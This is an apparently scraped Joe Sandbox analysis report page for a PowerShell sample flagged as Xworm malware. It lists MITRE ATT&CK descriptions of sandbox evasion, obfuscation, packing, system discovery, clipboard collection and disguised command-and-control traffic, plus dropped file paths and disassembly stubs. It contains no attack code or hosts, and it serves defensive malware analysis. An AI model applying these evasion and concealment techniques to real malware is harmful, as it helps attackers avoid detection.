Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report mhqxUdpe7V.ps1

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Xworm

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_jrajcapk.xdo.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_rzzekrex.fgy.ps1

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDesusertions\590aee7bdd69b59b.customDesusertions-ms (copy)

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDesusertions\5XHXO4M7DHTKL94017VD.temp

Static File Info

General

File Icon

Network Behavior

Suricata IDS Alerts

Network Port Distribution

TCP Packets

Statistics

CPU Usage

Windows Analysis Report
mhqxUdpe7V.ps1

Function 015E8618 Relevance: .3, Instructions: 332
COMMON

Function 015E5BC8 Relevance: .3, Instructions: 281
COMMON

Function 015E6498 Relevance: .3, Instructions: 266
COMMON

Function 015E8228 Relevance: 1.6, APIs: 1, Instructions: 130
COMMON

Function 015E7B7C Relevance: 1.6, APIs: 1, Instructions: 55
COMMON

Function 015E82F8 Relevance: 1.6, APIs: 1, Instructions: 52
COMMON